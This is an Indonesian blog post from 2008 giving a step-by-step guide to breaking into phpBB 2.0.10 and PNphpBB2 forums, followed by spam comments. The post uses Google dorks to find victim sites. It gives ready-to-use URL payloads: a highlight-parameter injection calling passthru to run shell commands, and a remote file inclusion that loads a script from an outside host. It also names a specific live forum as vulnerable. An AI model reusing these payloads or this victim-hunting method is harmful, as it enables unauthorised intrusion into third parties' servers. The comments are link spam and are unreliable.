.:: ASSALAMUALAIKUM.:: AHLAN WASAHLAN DI BLOG INI. Ya! ANDA AKAN BELAJAR BARENG M Hasbi :. Belajar About Dunia Islam, Belajar About Dunia Pemikiran, Belajar About Dunia Tutorial, Belajar About Tips Dan Trick Aneh, Belajar Design Website, Belajar Dunia Shell-ing, Belajar Mencari Hikmah Dan Lain Sebagainya. Sooo ikuti terus perkembanganya. Anda juga bisa mendiskusikan permasalahan apapun tentang Agama Islam bersama saya. Ketik saja di ShoutBox.::. Akhirnya TERIMAKASIH ATAS KUNJUNGANNYA, SELAMAT MENIKMATI SEMOGA BERKENAN .::.

Friday, September 12, 2008

hacking phpbb 2.0.10

hacking phpbb 2.0.10

1. Cari sasaran menggunakan paman google. keywordnya = phpbb 2.0
Jangan menggunakan keyword viewtopic karena gak akan diijinkan.

2. Kunjungi alamat forum yang didapat. Lihat dan kunjungi hingga pada bagian address tertulis
http://sasaran.com/viewtopic.php?t=4(angka 4 bisa saja lain)

3. Kemudian pada bagian address coba tambahkan &highlight=%2527
http://sasaran.com/viewtopic.php?t=4&highlight=%2527

4. Jika yang muncul adalah error, maka bererti forumnya vuln (bolong). Jika tidak, cari sasaran lain. :-)

5. Setelah Muncul error coba tambahkan lagi menjadi

http://sasaran.com/viewtopic.php?t=t=4&highlight=%2527.passthru($HTTP_GET_VARS[cmd]).%2527&cmd=ls -al

6. Jika yang muncul adalah daftar nama file dan direktori, selamat anda telah berhasil masuk ke dalam sysytem sasaran

7. Jika ada error tetapi eksekusi perintah cmd= tidak berjalan kemungkinan fungsi passthru sudah dimatikan oleh admin. Cari sasaran lain.

Contoh forum yang vuln :
http://batam.linux.or.id/forumlinux/viewtopic.php?t=19

_________________________________________________________________________
Hacking PNphpBB2

1. Gunakan paman google, cari situs yang menggunakan PNphpBB2
keywordnya = allinurl:pnphpbb2 site:ru

2. Masuk ke halaman utama situs sasaran. -->> http://sasaran.ru

3. Tambahkan address-nya sehingga menjadi
http://sasaran.ru/modules/PNphpBB2/includes/function_admin.php?phpbb_root_path=http://nobodycare.com/php.jpg?

4. Jika yang muncul adalah php injection, selamat anda telah berhasil masuk ke dalam system korban. :-)

15 comments:

Anonymous said...

Good Moring I just started my first blog site, what do you guys think? Any suggestions would be great http://blogesaurus.com/

Anonymous said...

Hello I just finished my first wordpress blog site, what do you think? Any advice would be good http://blogesaurus.com/

Anonymous said...

Hello Guys and Gals! I just created my first wordpress website, what do you think? Any advice would be great http://blogesaurus.com/

Anonymous said...

Hello Guys and Gals!

For a while I've been reading this forum as a stranger but 2day I finally decided to sign up. So I just leased a brand new 2004 Ford truck I'm so relieved. I really needed a ride for 9 to 5, purchased it myself & everything running good so far. The only thing I despise about it is that I dont know the Lincoln Navigator Door Code. My friend attained a web site that has a [url=http://www.underground-secret.com/ford_keyless_entry_code.html]Expedition Keyless Entry Code[/url] how to guide instruction for figuring out your Ford Door Codes.

Do you think its worth knowing the code just incase the keys get lost?

[img]http://www.underground-secret.com/Ford-Keyless-Entry-Code.jpg[/img]

Anonymous said...

Hello :P I just started my first wordpress blog site, what do you think? Any advice would be great http://blogesaurus.com/

Anonymous said...

Hey Guys...I'm new I just finished my first blog site, what do you think? Any advice would be great http://blogesaurus.com/

Anonymous said...

Hey everyone! I just created my first wordpress blog site, what do you guys think? Any advice would be great http://blogesaurus.com/

Anonymous said...

Hello :) I just created my first wordpress site, what do you think? Any input would be good http://blogesaurus.com/

Anonymous said...

Hello Guys and Gals! I just created my first blog website, what do you guys think? Any input would be helpful http://blogesaurus.com/

Anonymous said...

Good Afternoon I just created my first wordpress site, what do you think? Any advice would be appreciated http://blogesaurus.com/

Anonymous said...

Good Moring I just started my first wordpress site, what do you think? Any advice would be appreciated http://blogesaurus.com/

Anonymous said...

address to [b]download software for windows[/b] are available at:

download software for windows
[url=http://www.downloadsoftwareforwindows]download software for windows[/url]

[url=http://www.downloadsoftwareforwindows/products/download-youtube-avi-downloader/productpage.php]download youtube avi downloader[/url]

download psp video converter

Anonymous said...

link to [b]buy software for windows[/b] is available here:

buy software for windows
[url=http://www.buysoftwareforwindows.com]buy software for windows[/url]

[url=http://www.buysoftwareforwindows.com/products/buy-internet-explorer-history-software/productpage.php]buy internet explorer history software[/url]

buy watermark studio

Anonymous said...

resource for [b]download software for windows[/b] are available here:

download software for windows
[url=http://www.downloadsoftwareforwindows.com]download software for windows[/url]

[url=http://www.downloadsoftwareforwindows.com/products/download-e-mail-software/productpage.php]download e mail software[/url]

download watermark software

Anonymous said...

address for [b]software downloads[/b] are reachable here:

Windows YouTube downloader
[url=http://www.1800soft.com]Windows YouTube downloader[/url]

betting software
[url=http://www.betextremesoft.com]betting software[/url]

buy software for windows
[url=http://www.buysoftwareforwindows.com]buy software for windows[/url]

download software for windows
[url=http://www.downloadsoftwareforwindows.com]download software for windows[/url]

Download Youtube Videos
[url=http://www.downloadyoutubevideos.co.uk]Download Youtube Videos[/url]

FLV to AVI converter
[url=http://www.flvtoavi.co.uk]FLV to AVI[/url]

DVD ripper
[url=http://www.flvtodvd.com]DVD ripper[/url]

Video converter
[url=http://www.hollydollyvideo.com]Video converter[/url]

Home video converter software
[url=http://www.homevideopage.com]Home video software[/url]

Poker software
[url=http://www.pokerwinningvideo.com]Poker video software[/url]

Shark Video Downloader
[url=http://www.sharkvideopage.com]Shark Video Downloader software[/url]

Simplest YouTube Internet Video Downloader
[url=http://www.simplestutils.com]Watermark Software[/url]

Popular screensavers
[url=http://www.popularscreensaverpage.com]Popular Screensaver[/url]

Hyper YouTube Magic Tool XXX
[url=http://www.andromedaapps.com]Hyper YouTube Magic Tool XXX[/url]

Free FLV converter
[url=http://www.cassiopeiasoft.com]Free FLV converter[/url]

Working YouTube downloader
[url=http://www.pegasusapps.com]Working YouTube downloader[/url]

Template by : kendhin x-template.blogspot.com